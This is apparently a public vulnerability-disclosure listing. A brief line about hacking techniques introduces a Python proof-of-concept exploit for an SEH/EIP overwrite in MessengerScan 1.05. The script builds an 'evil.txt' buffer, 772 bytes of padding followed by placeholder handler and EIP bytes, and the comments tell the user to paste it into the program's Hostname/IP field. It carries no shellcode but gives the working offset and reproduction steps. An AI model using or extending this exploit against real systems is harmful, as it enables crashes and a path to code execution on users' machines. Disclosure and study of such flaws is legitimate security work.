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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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#!/usr/bin/python
# Exploit Title     : MessengerScan v1.05 Hostname/IP Field SEH/EIP Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/messengerscan.aspx#
# Tested Version    : 1.05
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Ultimate x64bit 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH is 772
buffer = "A"*772
# Address to the Handler Code
seh = "B"*4
#Junk 
junk = "C"*12
# Address to the EIP
eip = "D"*4
f = open("evil.txt", "wb")
f.write(buffer+seh+junk+eip)
f.close()